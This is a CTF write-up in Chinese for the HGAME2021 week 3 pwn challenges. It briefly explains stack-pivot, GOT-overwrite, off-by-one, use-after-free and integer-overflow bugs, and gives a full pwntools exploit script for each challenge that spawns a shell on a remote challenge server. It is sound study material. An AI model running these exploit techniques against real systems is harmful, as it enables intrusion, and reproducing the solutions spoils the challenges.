HGAME2021 week3 pwn writeup
一共放出五道题,都不是很难。
blackgive
考栈转移,值得注意的一点是转移过去先填充几个ret,因为如果直接在转移过去的地方写rop链,执行起来会覆盖到上面的一些指针,导致程序不能正常输入和输出。我比较疑惑的是,我不清楚为什么我用system打不通,最后用one_gadgets才做出来。
1 from pwn import * 2 3 p = remote('182.92.108.71',30459) 4 libc = ELF('./libc.so.6') 5 elf = ELF('./pwn') 6 context(os='linux',arch='amd64',log_level='debug') 7 8 buf = 0x06010A0 9 leave_ret = 0x04007A3 10 pop_rdi = 0x000400813 11 pop_rsi_r15 = 0x00400811 12 ret = 0x004007A4 13 14 payload = 'paSsw0rd\x00' 15 payload = payload.ljust(0x20,'\x00')+p64(buf)+p64(leave_ret) 16 p.sendafter(':',payload) 17 18 payload = p64(ret)*0x6+p64(pop_rdi)+p64(elf.got['puts']) 19 payload += p64(elf.plt['puts'])+p64(pop_rdi)+p64(0) 20 payload += p64(pop_rsi_r15)+p64(buf+0x78)+p64(0) 21 payload += p64(elf.plt['read']) 22 p.sendafter('right!\n',payload) 23 24 puts = u64(p.recv(6).ljust(8,'\x00')) 25 libc_base = puts-libc.symbols['puts'] 26 binsh = libc_base+libc.search('/bin/sh').next() 27 system = libc_base+libc.symbols['system'] 28 print 'libc_base-->'+hex(libc_base) 29 print 'binsh-->'+hex(binsh) 30 print 'system-->'+hex(system) 31 32 og = [0x4f3d5,0x4f432,0x10a41c] 33 shell = libc_base+og[1] 34 payload = p64(shell) 35 p.send(payload) 36 p.interactive()
without_leak
题目关闭了标准输出和错误输出,导致不能泄露libc拿shell。
在buu上面做过一道wustctf2020_closed,也是将标准输出和错误输出关闭了,不同点在于那道题是直接拿到了shell,而这道题还没有拿到shell。
思路是改写got表,将close的got表改成one_gadget,然后再去执行close拿到shell,就和buu上面的那道题一样了。让流重定向,就可以正常的输出了。(经过测试,将read的got表改成one_gadget也可以拿到shell)
至于为什么是read和close,就需要根据one_gadget和原来的got地址进行对比,发现这两个函数的got地址和one_gadget只相差两个字节,也就是四位,又因为后三位是固定的,所以有1/16的几率可以拿到shell。如果修改其他函数的got表,算了一下拿到shell的几率是1/4096,太难了,作为非洲酋长的我,深刻知道,自己有多脸黑。拿到shell之后执行exec 1>&0(或者是cat flag>&0),题目就做出来了,还侥幸拿了一血。
1 from pwn import * 2 3 elf = ELF('./pwn',checksec="false") 4 context.log_level = 'debug' 5 6 pop_rdi = 0x000401243 7 pop_rsi_r15 = 0x00401241 8 og = [0x4f3d5,0x4f432,0x10a41c] 9 init = 0x040119B 10 11 while 1: 12 try: 13 p = remote('182.92.108.71',30483) 14 payload = 'a'*0x20+'bbbbbbbb' 15 payload += p64(pop_rdi)+p64(0)+p64(pop_rsi_r15) 16 payload += p64(elf.got['close'])+p64(0)+p64(elf.plt['read']) 17 payload += p64(init)+p64(0x0401185) 18 p.sendafter('\n',payload) 19 p.send('\x1c\x34') 20 p.sendline('exec 1>&0') 21 p.sendline('ls') 22 p.recvuntil('flag') 23 break 24 except: 25 p.close() 26 p.sendline('cat flag') 27 p.recv() 28 p.interactive()
Library management System
给了libc,发现是ubuntu16.04的环境。
add函数中存在off by one,通过修改下一个chunk的size位,构造unsorted chunk,释放掉再申请回来,这步就成功泄露libc地址了,然后就是正常的做题,通过堆块重叠,修改fd地址,将chunk申请到__malloc_hook-0x23的位置,通过realloc抬栈,拿shell。做题的人都没有几个,这题拿了二血。
1 from pwn import * 2 3 #p = process('./pwn') 4 p = remote('182.92.108.71',30431) 5 elf = ELF('./pwn') 6 libc = ELF('./libc.so.6') 7 context.log_level = 'debug' 8 9 def duan(): 10 gdb.attach(p) 11 pause() 12 def add(size,content): 13 p.sendlineafter('choice: ','1') 14 p.sendlineafter('title: ',str(size)) 15 p.sendafter('title: ',content) 16 def delete(index): 17 p.sendlineafter('choice: ','2') 18 p.sendlineafter('id: ',str(index)) 19 def show(index): 20 p.sendlineafter('choice: ','3') 21 p.sendlineafter('id: ',str(index)) 22 23 og = [0x45226,0x4527a,0xf0364,0xf1207] 24 25 add(0x18,'aaaaaaaa\n') 26 add(0x30,'bbbbbbbb\n') 27 add(0x68,'cccccccc\n') 28 add(0x10,'dddddddd\n') 29 delete(0) 30 add(0x18,'a'*0x18+'\xb1') 31 delete(1) 32 add(0x70,'aaaaaaaa\n') 33 show(1) 34 p.recvuntil('aaaaaaaa') 35 libc_base = u64(p.recv(6).ljust(8,'\x00'))-248-0x10-libc.symbols['__malloc_hook'] 36 malloc_hook = libc_base+libc.symbols['__malloc_hook'] 37 shell = libc_base+og[1] 38 realloc = libc_base+libc.symbols['realloc'] 39 print 'libc_base-->'+hex(libc_base) 40 print 'malloc_hook-->'+hex(malloc_hook) 41 delete(2) 42 delete(1) 43 add(0x70,'aaaaaaaa'*6+p64(0)+p64(0x71)+p64(malloc_hook-0x23)+'\n') 44 add(0x68,'aaaaaaaa\n') 45 add(0x68,'a'*(0x13-8)+p64(shell)+p64(realloc+12)+'\n') 46 p.sendlineafter('choice: ','1') 47 p.sendlineafter('title: ','32') 48 p.interactive()
todolist
出题人说这道题题目本身有问题,进行了降分处理。
ubuntu18.04的,有uaf,很简单。
1 from pwn import * 2 3 #p = process('./pwn') 4 p = remote('182.92.108.71',30411) 5 elf = ELF('./pwn') 6 #libc = ELF('./libc.so.6') 7 libc = ELF('./libc-2.27.so') 8 context.log_level = 'debug' 9 10 def duan(): 11 gdb.attach(p) 12 pause() 13 def add(size): 14 p.sendlineafter('exit\n','1') 15 p.sendlineafter('write?\n',str(size)) 16 def delete(index): 17 p.sendlineafter('exit\n','2') 18 p.sendlineafter('delete?\n',str(index)) 19 def edit(index,size,content): 20 p.sendlineafter('exit\n','3') 21 p.sendlineafter('edit?\n',str(index)) 22 p.sendlineafter('write?\n',str(size)) 23 p.send(content) 24 def show(index): 25 p.sendlineafter('exit\n','4') 26 p.sendlineafter('check?\n',str(index)) 27 28 #og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468] 29 og = [0x4f3d5,0x4f432,0x10a41c] 30 31 add(0x410) 32 add(0x10) 33 delete(0) 34 show(0) 35 libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00'))-96-0x10-libc.symbols['__malloc_hook'] 36 free_hook = libc_base+libc.symbols['__free_hook'] 37 shell = libc_base+og[1] 38 print 'libc_base-->'+hex(libc_base) 39 print 'free_hook-->'+hex(free_hook) 40 delete(1) 41 edit(1,8,p64(free_hook)) 42 add(0x10) 43 add(0x10) 44 edit(3,8,p64(shell)) 45 delete(2) 46 p.interactive()
todolist2
修改过后的题目,free之后把指针清0了,不存在uaf了。
漏洞主要是在edit函数,在进行写的时候有整数溢出漏洞。
通过edit函数可以进行溢出,覆盖fd指针,还是打__free_hook就可以拿到shell。
1 from pwn import * 2 3 #p = process('./pwn') 4 p = remote('182.92.108.71',30521) 5 elf = ELF('./pwn') 6 #libc = ELF('./libc.so.6') 7 libc = ELF('./libc-2.27.so') 8 context.log_level = 'debug' 9 10 def duan(): 11 gdb.attach(p) 12 pause() 13 def add(size): 14 p.sendlineafter('exit\n','1') 15 p.sendlineafter('write?\n',str(size)) 16 def delete(index): 17 p.sendlineafter('exit\n','2') 18 p.sendlineafter('delete?\n',str(index)) 19 def edit(index,size,content): 20 p.sendlineafter('exit\n','3') 21 p.sendlineafter('edit?\n',str(index)) 22 p.sendlineafter('write?\n',str(size)) 23 p.send(content) 24 def show(index): 25 p.sendlineafter('exit\n','4') 26 p.sendlineafter('check?\n',str(index)) 27 28 #og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468] 29 og = [0x4f3d5,0x4f432,0x10a41c] 30 31 add(0x410) #0 32 add(0x10) #1 33 delete(0) 34 add(0x410) #2 35 show(2) 36 libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00'))-96-0x10-libc.symbols['__malloc_hook'] 37 free_hook = libc_base+libc.symbols['__free_hook'] 38 shell = libc_base+og[1] 39 print 'libc_base-->'+hex(libc_base) 40 print 'free_hook-->'+hex(free_hook) 41 add(0x10) 42 add(0x10) 43 delete(4) 44 edit(3,-1,'aaaaaaaa'*2+p64(0)+p64(0x21)+p64(free_hook)+'\n') 45 add(0x10) 46 add(0x10) 47 edit(6,8,p64(shell)) 48 delete(5) 49 p.interactive()
后记
花了一天的时间,把题目都做出来了,还拿了两个题的一血。第三周over!